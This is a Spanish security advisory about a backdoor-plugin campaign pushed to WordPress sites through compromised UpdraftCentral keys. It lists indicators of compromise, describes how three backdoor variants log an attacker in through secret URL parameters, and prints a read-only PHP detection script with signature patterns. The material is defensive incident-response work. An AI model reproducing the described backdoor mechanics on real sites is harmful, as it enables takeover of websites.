Al atacante le basta con corregir unos pocos caracteres para que la próxima oleada funcione. Si encuentra un plugin «roto» parecido, no lo arregle. Arreglarlo activaría la puerta trasera. Elimínelo.

Más detalles

  • El plugin se hace pasar por un complemento corriente: tiene una cabecera completa, licencia GPL, Text Domain, la descripción «Small maintenance toolkit: keeps option storage tidy.» y un editor inventado («PixelBinder», «Harbor Stack Labs»).
  • Los archivos assets/public.css, assets/public.js y languages/readme.txt solo contienen un comentario. El plugin no los usa; están ahí para que la carpeta parezca un plugin real.
  • Al desinstalarlo desde el administrador, uninstall.php borra las opciones <slug>_sync_token y <slug>_setup_stamp, es decir, sus propios rastros. El código nunca crea la segunda opción; es un resto de la plantilla.
  • Al activarse guarda el token en la opción <slug>_sync_token sin carga automática. El código nunca la lee.
  • Ambas muestras salen del mismo generador. Si sustituimos nombres, tokens, usuarios y versiones por marcadores, todos los archivos son idénticos byte a byte. El nombre sigue el patrón palabra-palabra-3 caracteres hexadecimales, el parámetro es _ más 6 caracteres hexadecimales y el usuario palabra-palabra más dos dígitos. El token tiene 32 caracteres y la contraseña 22 (letras, dígitos y guion bajo).

Indicadores de compromiso

Web AWeb B
Carpeta del pluginload-stack-35ctext-gantry-eb0
Nombre / autor / versiónLoad Stack 35C / PixelBinder / 1.2.6Text Gantry Eb0 / Harbor Stack Labs / 3.9.5
Parámetro de la URL_9f5696_3e9caa
Usuariodata-ops43media-staff96
Opción en la base de datosload_stack_35c_sync_tokentext_gantry_eb0_sync_token
SHA-256 del archivo principal3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209fbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801
SHA-256 de uninstall.php4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f04943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9

Otras víctimas nos enviaron más muestras de la primera variante, y Patchstack cita más nombres:

  • hero-frame-2c5, autor «CopperForge WP», usuario con correo render-build21@example.org, SHA-256 del archivo principal a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9, uninstall.php 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111
  • card-binder-104, versión 2.6.7, usuario render.desk87
  • style-bridge-8f5, «Style Bridge 8F5» 2.6.6, autor «StoneDock Tools», parámetro _0f907e, usuario data.build20, SHA-256 del archivo principal 0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde, uninstall.php 99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5
  • media-kit-183, «Media Kit 183» 3.7.8, autor «AshBridge Digital», parámetro _98a0a7, usuario web_maint88, SHA-256 del archivo principal 03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63, uninstall.php 8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190
  • query-shelf, «Query Shelf» 2.6.1, el mismo error QueryShelf::FIELD, nombre sin los tres caracteres hexadecimales al final
  • post-dock-776, «Post Dock 776» 1.7.8, autor «CommonGantry», parámetro _5fa3f1, usuario site_build55, SHA-256 del archivo principal 8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321, uninstall.php 6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30
  • nav-hub, «Nav Hub» 1.0.5, autor «PixelBinder» (el mismo que en load-stack-35c), error NavHub::FIELD, nombre sin caracteres hexadecimales al final
  • speed-desk, «Speed Desk» 3.7.1, autor «Harbor Stack Labs», parámetro _685679, usuario render.maint85, 80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483
  • speed-kit-300, «Speed Kit 300» 3.8.4, autor «Nordic Toolworks», parámetro _c4bda9, usuario data-team4, 0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3
  • link-latch, «Link Latch» 3.0.2, autor «CommonGantry», parámetro _b10fa0, usuario media.crew54, d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8
  • script-shelf, «Script Shelf» 1.9.2, autor «CopperForge WP», parámetro _697e00, usuario content-crew90, 7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2
  • feed-case, «Feed Case» 1.5.1, autor «LoftStack», parámetro _78d327, usuario web_ops15, 02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429
  • cache-jack-c7a, «Cache Jack C7A» 2.7.3, autor «PixelBinder», parámetro _48c603, usuario render.desk2, SHA-256 del archivo principal 425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72, uninstall.php 335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017
  • Los nombres de los autores falsos se repiten entre variantes y webs, por ejemplo «PixelBinder», «Harbor Stack Labs», «CommonGantry», «CopperForge WP», «MetaLayer» o «WPBridge». Un plugin de uno de estos autores que usted no haya instalado es casi con certeza una puerta trasera.
  • Más nombres publicados por Wordfence: speed-press-23b, hero-bridge-6c9, site-health-6a20, db-works-7dba, cache-frame, site-engine; usuarios site_editor784, site.crew51, web_desk9.
  • según Patchstack, por ejemplo «Site Health Cache», «Asset Forge 2», «Content Helper» y «Wp Forge», 99 nombres en total

Rasgos comunes:

  • direcciones IP 43.250.53.42 y 2a09:bac5:4e21:2e3c::49b:9, User-Agent exactamente WordPress/6.4; class-udrpc.php, petición POST /
  • Intentos de usar las puertas traseras el 20/10: direcciones IP 178.83.37.220, 178.83.37.243, 178.94.218.31 y los rangos 69.33.133.x, 69.33.134.x y 69.33.144.x, User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (sin la parte de la versión del navegador), petición GET /?<disparador>=<token>
  • Posiblemente relacionado: desde el 20/10 vemos en nuestras webs también comprobaciones de la versión de UpdraftPlus mediante /wp-content/plugins/updraftplus/readme.txt, a menudo seguidas de POST /wp-admin/admin-ajax.php, desde 107.189.14.87, 45.61.188.240 y 45.61.184.170 con User-Agents de navegador falsificados. Otro administrador informa de los mismos rangos. No sabemos si se trata del mismo atacante.
  • en el registro de UpdraftCentral, el sondeo probe.central.updraftplus.com y unas horas después Command received: plugin.upload_plugin
  • la descripción del plugin «Small maintenance toolkit: keeps option storage tidy.»
  • un usuario con correo en @example.org y nombre visible «Site Tools», con rol Editor y las capacidades manage_options e install_plugins
  • el error fatal Undefined constant <Clase>::FIELD y un correo de WordPress sobre un error en un plugin que no reconoce

La segunda variante: una puerta trasera funcional con su propio administrador

Otros dos administradores afectados nos describieron esta variante. El primero gestiona unas 145 webs y la encontró en dos de las tres atacadas. El atacante no llegó a usarla allí: no apareció la opción _uid, ninguna cuenta ni ninguna sesión ajena. El segundo la encontró en tres de las cuatro webs donde se instaló una puerta trasera y confirmó que funciona: a diferencia de la primera variante, no tiene un error que haga caer la web. Otro administrador nos envió la muestra boost-kit, así que la hemos analizado nosotros mismos. Ambas descripciones se confirman, salvo la ocultación de la cuenta, que no funciona.

  • Es un único archivo PHP con un nombre aleatorio que no tiene por qué seguir el patrón de la primera variante (por ejemplo opt4fix, cache-smith). La descripción cambia en cada muestra; una de ellas era «Improves cron tasks efficiency for content sites with minimal overhead.».
  • Para disimular, al activarse fija la opción <slug>_installed, programa un cron diario <slug>_maintenance que de verdad borra transients caducados y añade un filtro de jQuery para páginas AMP.
  • Disparador: un parámetro cuyo nombre son 12 caracteres hexadecimales y un token de 32 caracteres, por ejemplo ?f2b9faa21ebd=… o ?303541c9dfd0=…&m=setup. Otros nombres de parámetro vistos: f883d260d98a, a613ff6d53aa, 6eb3d55b634e, f343ef05a88e, a67730d1b537, 2c71bff4b006, 666b564665a9.
  • Sin el parámetro m inicia la sesión del atacante como el primer administrador existente y lo redirige al administrador. No crea ninguna cuenta, así que solo quedan el archivo del plugin y una línea en el registro de accesos.
  • El modo m=setup crea un administrador completo y guarda su ID en la opción <slug>_uid (por ejemplo src_lab_uid). El modo m=svc inicia la sesión del atacante en esa cuenta. Las cuentas son del tipo system_team850, web.tech988, cmseditor170, cms.tech644 o web_mgr684, con correo en @example.com y un nombre visible como «System Team», «Web Tech», «System Staff», «System Ops» o «Cms Tech».
  • Intenta ocultar la cuenta con un hook pre_user_query y un filtro pre_count_users, pero ambos están mal escritos. El hook pre_user_query añade la cuenta a las excluidas cuando WordPress ya ha construido la consulta SQL, así que el resultado no cambia. El filtro pre_count_users recibe null en lugar de los recuentos y no cambia nada. Hemos comprobado en WordPress 7.1.3 que la cuenta aparece con normalidad en la lista de usuarios y en el número de administradores.
  • No tiene uninstall.php. Al desactivarlo solo borra la opción <slug>_installed.
  • La entrega es la misma que en la primera variante: un sondeo y después plugin.upload_plugin, tanto desde 43.250.53.42 como desde 2a09:bac5:4e21:2e3c::49b:9, la noche del 18 al 19 de octubre (por ejemplo src-lab el 18/10 a las 23:39 UTC, render-helper-232b el 19/10 a las 0:03 UTC).

Muestras (SHA-256 del archivo principal):

  • src-lab, «Src Lab» 3.0.0, autor «WPBridge», src-lab.php 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928
  • render-helper-232b, «Render Helper 232b» 3.7.9
  • opt4fix, «Opt4fix» 2.9.2, autor «DigitalFork», 54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c
  • js-fix-757a, «Js Fix 757a» 2.8.3, autor «WPBridge», 2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a
  • lazy-tool-3055, «Lazy Tool 3055» 1.3.8, autor «MetaLayer», 1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec
  • cache-smith, «Cache Smith» 1.3.1, autor «ToolBelt WP», 43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49
  • boost-kit, «Boost Kit» 2.9.3, autor «PixelForge», descripción «Simple database queries management with automatic cleanup routines.», fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1
  • fast2engine, «Fast2engine» 1.6.9, autor «CodeBarn», descripción «Reliable transient storage maintenance companion for site owners.», cuenta wp.tech506@example.com, 0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd
  • defer-engine, «Defer Engine» 3.3.1, autor «SiteCraft Labs», descripción «Fine-tunes script loading delivery to reduce load times on busy sites.», cuenta media-mgr138, 87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91
  • minify-tool-bf90, «Minify Tool Bf90» 2.9.8, autor «MetaLayer», descripción «Improves asset loading efficiency for content sites with minimal overhead.», cuenta pageeditor85, ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8

Cómo encontrarla: la versión 3 del script reconoce los archivos de los plugins por cadenas conocidas, como «keep service accounts out of the main user list», y por su código (inicio de sesión con wp_set_auth_cookie tras hash_equals sobre un valor de la URL, ocultación con pre_user_query y pre_count_users), revisa las opciones <slug>_uid y <slug>_installed y lee los usuarios directamente de la base de datos. También revisa wp-content/upgrade/, donde el plugin descomprimido se queda aunque la instalación haya fallado. Revise el registro de accesos como se describe en «Qué hacer ahora mismo».

La tercera variante: una puerta trasera mínima

El mismo administrador encontró también el plugin site-health-364f («Site Health 364F», versión 1.0, descripción «Maintenance helper.», sin autor). Es un único archivo de 673 bytes sin ningún disimulo:

  • Al activarse guarda la opción site_health_364f_ver.
  • Disparador: el parámetro 83e590bb7e9b con un token de 32 caracteres escrito directamente en el código.
  • Inicia la sesión del atacante como el primer administrador existente y lo redirige al administrador. No crea ninguna cuenta.
  • SHA-256 de site-health-364f.php: 056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa

Aparte del plugin, solo deja una línea en el registro de accesos, que encuentra el grep de «Qué hacer ahora mismo». El script de comprobación la detecta desde la versión 4.

Otro administrador encontró una versión oculta, site-health-cache («Site Health Cache» 1.0.0, sin descripción ni autor, disparador 38af88274bf8, opción sh_cache_ver, SHA-256 fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd). Un filtro all_plugins la quita de la lista de plugins y un filtro pre_update_option_recently_activated de la lista de activados recientemente, así que no la verá en el administrador aunque esté activa. El script de comprobación la encuentra en el disco. Otro administrador encontró la misma versión oculta con otro disparador (9c37ef099b7b, SHA-256 2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205).

Qué hacer si la encuentra

  1. Si aún no lo ha hecho, elimine la conexión con UpdraftCentral como se describe en «Qué hacer ahora mismo». De lo contrario, el atacante puede enviar una versión corregida de la puerta trasera.
  2. Desactive el plugin y muévalo fuera del directorio web. Si quiere conservarlo como prueba, no lo borre desde el administrador, porque uninstall.php borra sus opciones.
  3. Borre las opciones de la puerta trasera (<slug>_sync_token, <slug>_uid, <slug>_installed, <slug>_ver) y la cuenta que haya creado.
  4. Revise los usuarios con el script de comprobación de abajo. Si la puerta trasera llegó a funcionar, es decir, si existe su cuenta o el registro de accesos muestra una petición con su parámetro, considere la web totalmente comprometida. El atacante pudo subir más plugins o una webshell y modificar archivos o la base de datos. Restaure la web desde una copia anterior al 17 de octubre, compare los archivos con una instalación limpia y revise todos los usuarios con capacidades extra.
  5. Cambie las contraseñas de los administradores y la de la cuenta de UpdraftCentral Cloud, cierre todas las sesiones abiertas y active la autenticación en dos pasos. UpdraftPlus Premium puede guardar la contraseña de la cuenta de teamupdraft.com en la base de datos tal como la introdujo (opción updraftplus-addons_options). Si el atacante entró en el administrador o en la base de datos, considere esa contraseña filtrada.
  6. Valore si de verdad necesita la gestión remota. Si es así, cree la clave con una cuenta sin permiso para instalar plugins, salvo que lo necesite a distancia. En la web C fue justo esa casualidad la que detuvo el ataque.

Script de comprobación

El script comprueba cinco cosas: si la web está conectada a UpdraftCentral, qué ha recibido la web a través de UpdraftCentral, si las carpetas plugins, mu-plugins y upgrade contienen archivos de la puerta trasera, si sus opciones están en la base de datos y si existe su cuenta u otro usuario con permisos inesperados. La versión 3 reconoce además la puerta trasera por su código, así que detecta también muestras renombradas de la variante funcional con otra descripción, revisa las opciones <slug>_uid y <slug>_installed, lee los usuarios directamente de la base de datos y señala los administradores creados desde el 17 de octubre. La versión 4 detecta además la tercera variante mínima por el token escrito directamente en su código. La versión 5 señala como [WARN] también otros plugins que inician sesión según un parámetro de la URL. Nos lo sugirió un administrador que encontró en una web una puerta trasera más antigua, doctor-connectivity-query, activa desde junio y sin relación con esta campaña. Se oculta de la lista de plugins y ejecuta código arbitrario sin iniciar sesión. La versión 5 señala solo como [WARN] las cuentas en @example.com sin permisos de administrador creadas antes del 17 de octubre, como clientes de tiendas registrados por bots. La versión 6 encuentra también opciones sobrantes de la primera variante cuando el nombre del plugin no termina en tres caracteres hexadecimales, como query_shelf_sync_token. La versión 7 avisa cuando no existe ningún registro de UpdraftCentral, por ejemplo tras eliminar UpdraftPlus, en lugar de darlo por limpio. La versión 8 avisa también de los plugins que se ocultan de la lista de plugins. La versión 9 avisa también de las claves de UpdraftPlus Migrator. La versión 10 avisa también de una contraseña de la cuenta de teamupdraft.com guardada en la base de datos.

En la web A, tras eliminar la puerta trasera, muestra:

[OK]    No active UpdraftCentral connection.
[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK]    No backdoor plugin files found.
[OK]    No backdoor options in the database.
[OK]    No backdoor accounts or hidden admin-level users.

También puede descargar el script directamente:

curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txt

SHA-256 del script: cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935. El código completo:

<?php
/**
 * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
 * Read-only. It changes nothing on the site.
 * v2: also detects the second variant, which creates a hidden administrator.
 * v3: catches its renamed samples by code and by <slug>_uid / <slug>_installed options, and checks wp-content/upgrade.
 * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.
 * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without
 *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.
 * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).
 * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.
 * v8: warns about plugins that hide themselves from the WordPress plugin list.
 * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.
 * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.
 *
 * Run in the WordPress root directory:
 *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
 *
 * --skip-plugins matters: an installed copy of the backdoor crashes every request,
 * including WP-CLI, unless plugins are skipped.
 */

$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
	if ( 'ALERT' === $level ) $alerts++;
	if ( 'WARN' === $level ) $warnings++;
	echo str_pad( "[$level]", 8 ), $message, "\n";
};

echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";

// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
	foreach ( $keys as $id => $key ) {
		$report( 'WARN', sprintf(
			'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
			$id,
			isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
			isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
		) );
	}
} else {
	$report( 'OK', 'No active UpdraftCentral connection.' );
}
// UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.
$addons = get_option( 'updraftplus-addons_options' );
if ( ! is_array( $addons ) && is_multisite() ) $addons = get_site_option( 'updraftplus-addons_options' );
if ( is_array( $addons ) && ! empty( $addons['password'] ) ) {
	$report( 'WARN', 'UpdraftPlus keeps the teamupdraft.com account password for ' . ( isset( $addons['email'] ) ? $addons['email'] : '?' ) . ' in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.' );
}
// Migrator keys use the same UDRPC channel to receive backup files from another site.
$migrator_keys = get_option( 'updraft_migrator_localkeys' );
foreach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash => $key ) {
	$report( 'WARN', sprintf(
		'UpdraftPlus Migrator key "%s" is active: another site can send backup files here with it. Delete it unless you are migrating right now.',
		isset( $key['name'] ) ? $key['name'] : $hash
	) );
}

// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
	$message = isset( $entry['message'] ) ? $entry['message'] : '';
	$agent   = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
	$when    = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
	$ip      = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
	if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
		$log_hits++;
	} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
		$report( 'WARN', "$when  $ip  probe for UpdraftCentral (UA: $agent)." );
		$log_hits++;
	} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
		$log_hits++;
	}
}
if ( ! is_array( $log ) || ! $log ) {
	$report( 'INFO', 'There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent "WordPress/6.4; class-udrpc.php".' );
} elseif ( ! $log_hits ) {
	$report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
}

// 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content/upgrade
// (a push that failed to install still leaves the unpacked plugin there).
$is_backdoor = function ( $code ) {
	return false !== strpos( $code, 'keeps option storage tidy' )
		|| false !== strpos( $code, 'Improves cron tasks efficiency' )
		|| false !== strpos( $code, 'keep service accounts out of the main user list' )
		|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
		|| ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) )
		|| ( preg_match( '/hash_equals\(\s*[\'"][A-Za-z0-9_-]{20,}[\'"]/', $code ) && false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
};
// Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).
$logs_in_from_url = function ( $code ) {
	return false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' );
};
// A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.
$hides_itself = function ( $code ) {
	return preg_match( '/add_filter\(\s*[\'"]all_plugins[\'"]/', $code )
		&& preg_match( '/plugin_basename\(\s*__FILE__\s*\)/', $code )
		&& preg_match( '/unset\(\s*\$\w+\[\s*\$\w+\s*\]\s*\)/', $code );
};
$plugin_hits = 0;
$files = array_merge(
	(array) glob( WP_PLUGIN_DIR . '/*/*.php' ),
	(array) glob( WPMU_PLUGIN_DIR . '/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*/*.php' )
);
foreach ( $files as $file ) {
	$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
	$where = 0 === strpos( $file, WP_CONTENT_DIR . '/upgrade/' ) ? ' (left in wp-content/upgrade by a pushed plugin; the install may have failed)' : '';
	if ( $is_backdoor( $code ) ) {
		$report( 'ALERT', "Backdoor plugin file: $file$where" . ( $hides_itself( $code ) ? ' It hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $logs_in_from_url( $code ) ) {
		$report( 'WARN', "Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it." . ( $hides_itself( $code ) ? ' It also hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $hides_itself( $code ) ) {
		$report( 'WARN', "Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it." );
		$plugin_hits++;
	}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );

// 4. Options the backdoor leaves behind.
global $wpdb;
$option_hits = 0;
// First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name
// without them counts only when its plugin is gone or is the backdoor itself.
foreach ( $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$'" ) as $name ) {
	$slug = str_replace( '_', '-', preg_replace( '/_(sync_token|setup_stamp)$/', '', $name ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	if ( is_file( $main ) && ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;
	$report( 'ALERT', "Backdoor option in the database: $name" );
	$option_hits++;
}
// The working variant stores <slug>_installed and the ID of its hidden administrator in <slug>_uid.
// Plugin names vary, so match the suffix and look at the plugin with the same slug.
foreach ( $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE '%\\_uid' OR option_name LIKE '%\\_installed'" ) as $o ) {
	$is_uid = '_uid' === substr( $o->option_name, -4 );
	$slug = str_replace( '_', '-', substr( $o->option_name, 0, $is_uid ? -4 : -10 ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : '';
	$u = ( $is_uid && ctype_digit( (string) $o->option_value ) ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
	$who = $u ? " (user {$u->user_login} <{$u->user_email}>)" : '';
	if ( ( $u && preg_match( '/@example\.(com|org)$/', $u->user_email ) ) || ( $code && ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {
		$report( 'ALERT', "Backdoor option in the database: {$o->option_name} = {$o->option_value}$who" );
		$option_hits++;
	} elseif ( $is_uid && $u && ! is_dir( WP_PLUGIN_DIR . "/$slug" ) ) {
		$report( 'WARN', "Option {$o->option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account." );
		$option_hits++;
	}
}
if ( ! $option_hits ) $report( 'OK', 'No backdoor options in the database.' );

// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name IN ('Site Tools', 'System Team', 'Web Tech', 'System Staff', 'System Ops', 'Cms Tech')" ) as $user ) {
	// Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
	$admin_level = ! empty( $caps['administrator'] ) || ! empty( $caps['manage_options'] ) || ! empty( $caps['install_plugins'] );
	if ( $admin_level || $user->user_registered >= '2026-10-17' ) {
		$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\", registered {$user->user_registered}" . ( $admin_level ? ', with admin-level rights' : '' ) );
	} else {
		$report( 'WARN', "Account {$user->user_login} <{$user->user_email}> \"{$user->display_name}\" matches the backdoor pattern but has no admin-level rights and was registered on {$user->user_registered}. Probably unrelated; make sure you know it." );
	}
	$flagged[ $user->ID ] = true;
	$user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
	$user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
	$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
	if ( $extra && empty( $caps['administrator'] ) ) {
		$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
		$user_hits++;
	}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );

echo "\n";
if ( $alerts ) {
	echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
	echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
	echo "RESULT: no traces found.\n";
}

Por qué publicamos de inmediato

La divulgación responsable (responsible disclosure) consiste en dar al fabricante tiempo para corregir el problema y publicar los detalles después. Aquí, por desgracia, no hay motivo para ello. El atacante ya está difundiendo activamente puertas traseras en instalaciones de WordPress, y una corrección del fabricante no protege a los propietarios mientras el atacante tenga claves válidas. La única protección eficaz es eliminar la conexión con UpdraftCentral y revisar la web, y cualquier administrador puede hacerlo ahora mismo.

Publicarlo no ayuda al atacante. Necesita claves válidas, que ya tiene, y nada en este artículo le da una nueva forma de atacar. A los defensores, en cambio, les da un procedimiento para protegerse. Además, la puerta trasera sale de un generador que crea nombres, tokens y contraseñas distintos para cada web, lo que apunta a una herramienta pensada para un gran número de webs. Cada hora de espera da al atacante tiempo para más webs.

Comunicación con el fabricante y empresas de seguridad

  • 19/10/2026: aviso a TeamUpdraft mediante el formulario de soporte premium, con registros y un análisis de la web A
  • 19/10/2026: ampliación sobre los ataques a las webs B y C, la segunda muestra y una comparación del User-Agent con el panel real
  • 19/10/2026: aviso a Wordfence y Patchstack para que puedan añadir detección y advertir a otros administradores
  • 19/10/2026: TeamUpdraft publicó un comunicado sobre el incidente de seguridad en el que confirma el acceso a la base de datos de clientes, incluidas las claves de UpdraftCentral
  • 19/10/2026: en su respuesta a nuestro aviso, TeamUpdraft confirmó que considera comprometidas las claves de UpdraftCentral y pide a todos los clientes de UpdraftCentral que desconecten y revisen cada web. Al cierre de esta edición la versión de emergencia de UpdraftPlus aún no había salido (la última es la 1.26.11 del 16/10).
  • 19/10/2026: Patchstack publicó su propio análisis y confirmó las dos direcciones IP del atacante. Wordfence y Patchstack pidieron muestras.
  • 19/10/2026: enviamos a Wordfence y Patchstack las muestras de nuestras webs y, más tarde, los indicadores de la variante funcional que nos facilitó otro administrador.
  • 19/10/2026: con el consentimiento de otros dos administradores afectados, enviamos a Wordfence y Patchstack sus muestras, incluida la tercera variante mínima, y los registros del cambio de la puerta trasera.
